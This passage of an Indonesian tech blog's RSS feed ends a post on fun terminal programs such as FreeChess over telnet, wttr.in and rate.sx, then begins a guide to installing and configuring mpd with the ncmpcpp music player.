&lt;/span&gt;&lt;span&gt;hollywood&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;607&quot; src=&quot;/_astro/gif10.BZ4IaXa4_A92R3.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;code&gt;hollywood&lt;/code&gt; sangat memakan &lt;em&gt;resource&lt;/em&gt; (terutama CPU) jika dijalankan. Jadi, jika komputer kalian memiliki &lt;em&gt;resource&lt;/em&gt; yang terbatas, jangan jalankan program ini terlalu lama.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;10. freechess&lt;a href=&quot;#10-freechess&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita dapat memainkan catur di CLI melalui layanan &lt;code&gt;ftp&lt;/code&gt; dari &lt;a href=&quot;https://www.freechess.org&quot; target=&quot;_blank&quot;&gt;FreeChess&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Karena ini adalah layanan &lt;code&gt;telnet&lt;/code&gt;, maka kita tidak perlu melakukan instalasi apapun, karena biasanya paket &lt;code&gt;telnet&lt;/code&gt; sendiri di linux sudah terpasang secara default.&lt;/p&gt;&lt;p&gt;Untuk mengaksesnya, gunakan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;telnet&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;freechess.org&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau via port 5000&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;telnet&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;freechess.org&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau dengan &lt;code&gt;nc&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-vv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;freechess.org&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;23&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Untuk perintah-perintah yang dapat digunakan, misalnya bagaimana memulai game dan sebagainya silakan dibaca-baca sendiri di servernya. Oiya, satu lagi, karena di sini kita bermain catur via CLI, jadi, kita akan menuliskan notasi untuk menggerakkan buah-buah catur alih-alih menggesernya dengan mouse atau kursor. Sungguh menarik, bukan? Wkwkwk&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;11. starwars&lt;a href=&quot;#11-starwars&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mirip seperti freechess, starwars adalah program yang dapat kita jalankan setelah terhubung ke sebuah server (towel.blinkenlights.nl) menggunakan telnet. Program ini lebih dilihat sebagai “for fun” program.&lt;/p&gt;&lt;p&gt;Untuk mengaksesnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;telnet&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;towel.blinkenlights.nl&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;12. wttr&lt;a href=&quot;#12-wttr&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;wttr&lt;/code&gt; juga adalah &lt;em&gt;tool&lt;/em&gt; terminal yang dapat berjalan jika kita terhubung ke servernya. Tool ini sedikit lebih memiliki fungsi dibandingkan &lt;em&gt;tool-tool&lt;/em&gt; sebelumnya, yaitu memantau kondisi cuaca di suatu kota yang ada di negara tertentu.&lt;/p&gt;&lt;p&gt;Untuk mengaksesnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wttr.in&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1425&quot; height=&quot;984&quot; src=&quot;/_astro/ss3.C0rd2Rb1_ZqgI17.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;13. rate&lt;a href=&quot;#13-rate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;rate&lt;/code&gt; adalah &lt;em&gt;tool&lt;/em&gt; terminal berbasis server (kita perlu akses internet) yang berfungsi untuk melihat grafik cryptocurrency, seperti Bitcoin (BTC), dan lain sebagainya.&lt;/p&gt;&lt;p&gt;Untuk mengaksesnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rate.sx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1417&quot; height=&quot;980&quot; src=&quot;/_astro/ss4.D9UmSq23_Zmi6hs.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1416&quot; height=&quot;974&quot; src=&quot;/_astro/ss5.CA-deIGo_Z1ltGFH.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;14. ascii.live&lt;a href=&quot;#14-asciilive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;ascii.live&lt;/code&gt; adalah &lt;em&gt;tool&lt;/em&gt; terminal yang mengharuskan kita terhubung ke internet. Tidak ada fungsi secara spesifik seperti 2 &lt;em&gt;tools&lt;/em&gt; sebelumnya.&lt;/p&gt;&lt;p&gt;Kita bisa melihat ascii live apa saja yang disupport dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ascii.live/list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Artikel ini akan saya perbarui jika ada &lt;em&gt;tools&lt;/em&gt; baru yang belum sempat ditulis.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>A Classic yet Nostalgic Music Player: NCMPCPP</title><link>https://shangdi.github.io/posts/tech/ncmpcpp/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ncmpcpp/</guid><description>Have you ever play a song from a classical radio? (I don&apos;t even know the name of classical radios tho, LOL) This is NCMPCPP!</description><pubDate>Fri, 07 Jun 2024 07:41:49 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Intro&lt;a href=&quot;#intro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com../images/ncmpcpp/ncmpcpp&quot; target=&quot;_blank&quot;&gt;NCurses Music Player Client Plus Plus&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; adalah nama panjang dari NCMPCPP. Ya, seperti namanya, ncmpcpp adalah &lt;em&gt;music player&lt;/em&gt; berbasis mpd. MPD? Iya, Music Player Daemon alias MPD adalah pemutar musik. Dengan kata lain, mpd adalah server &lt;em&gt;music player&lt;/em&gt; dan ncmpcpp adalah salah satu &lt;em&gt;music player&lt;/em&gt; client-nya.&lt;/p&gt;&lt;p&gt;Sengaja saya beri judul “Classic” dan “Nostalgic” untuk ncmpcpp karena memang, ncmpcpp tidak bisa dibandingkan dengan aplikasi atau software-software pemutar musik yang ada saat ini, seperti Spotify. Tidak bisa dibandingkan karena ncmpcpp adalah &lt;em&gt;music player offline&lt;/em&gt; berbasis cli yang artinya berjalan di terminal dan tidak memiliki tampilan grafis sementara music player seperti Spotify sudah jelas bahkan bukan hanya sekadar &lt;em&gt;music player&lt;/em&gt;, tapi platform musik dan podcast dalam jaringan (&lt;em&gt;online&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;Tapi, tidak bisa dibandingkan bukan berarti lebih buruk. Justru, sifat “Classic” dan “Nostalgic”-nya itulah yang memberikan nilai tambah untuk ncmpcpp (walaupun sebetulnya, Spotify juga punya software berbasis cli-nya sendiri (spotify-tui) sehingga bisa menghapus seluruh claim saya untuk ncmpcpp barusan ). So, di artikel ini, saya akan berbagi cara memasang, mengkonfigurasi, dan menjalankan mpd + ncmpcpp sebagai &lt;em&gt;music player&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Install&lt;a href=&quot;#install&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Instalasinya:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/ncmpcpp&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install ncmpcpp mpd mpc&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64../images/ncmpcpp/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S ncmpcpp mpd mpc&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/ncmpcpp&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in ncmpcpp mpd mpc&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs../images/ncmpcpp/ncmpcpp/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install ncmpcpp mpd mpc&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;mpc&lt;/code&gt; adalah command line client untuk MPD, jadi kita perlu meng-install-nya karena nanti juga akan digunakan untuk menampilkan notifikasi.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Configuration&lt;a href=&quot;#configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pertama, kita buat dua direktori untuk &lt;code&gt;mpd&lt;/code&gt; dan &lt;code&gt;ncmpcpp&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/{mpd,ncmpcpp}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;MPD Config&lt;a href=&quot;#mpd-config&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah itu, kita isikan beberapa file dan folder yang dibutuhkan oleh mpd, termasuk juga file konfigurasinya: &lt;code&gt;mpd.conf&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;database&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;log&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pid&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;state&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sticker.sql&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpd.conf&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lyrics&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;playlists&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah isi file &lt;code&gt;mpd.conf&lt;/code&gt; milik saya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind_to_address&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;&quot;localhost&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;&quot;6600&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;log_level&lt;/span&gt;&lt;span&gt;           &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;plugin&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;&quot;curl&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;audio_output&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;&quot;pulse&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;&quot;My Pulse Output&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;options&lt;/span&gt;&lt;span&gt;           &lt;/span&gt;&lt;span&gt;&quot;dev=dmixer&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;audio_output&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;&quot;fifo&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;&quot;My fifo output&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;&quot;/tmp/mpd.fifo&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;&quot;44100:16:2&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;db_file&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;&quot;~/.config/mpd/database&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;log_file&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;&quot;~/.config/mpd/log&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;music_directory&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;&quot;~/Music&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;playlist_directory&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;~/.config/mpd/playlists&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pid_file&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;&quot;~/.config/mpd/pid&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;state_file&lt;/span&gt;&lt;span&gt;          &lt;/span&gt;&lt;span&gt;&quot;~/.config/mpd/state&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sticker_file&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;~/.config/mpd/sticker.sql&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan file konfigurasi kita sudah sesuai, kita bisa jalankan &lt;code&gt;mpd&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalau muncul pesan berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;decoder: Decoder plugin &lt;/span&gt;&lt;span&gt;&apos;wildmidi&apos;&lt;/span&gt;&lt;span&gt; is unavailable: configuration file does not exist: /etc/timidity/timidity.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita hanya perlu membuat file &lt;code&gt;timidity.cfg&lt;/code&gt; tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/timidity&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/timidity/timidity.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalau sudah, kita bisa menjalankan ulang mpd dan harusnya tidak ada pesan apapun jika mpd sudah berjalan dengan baik.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 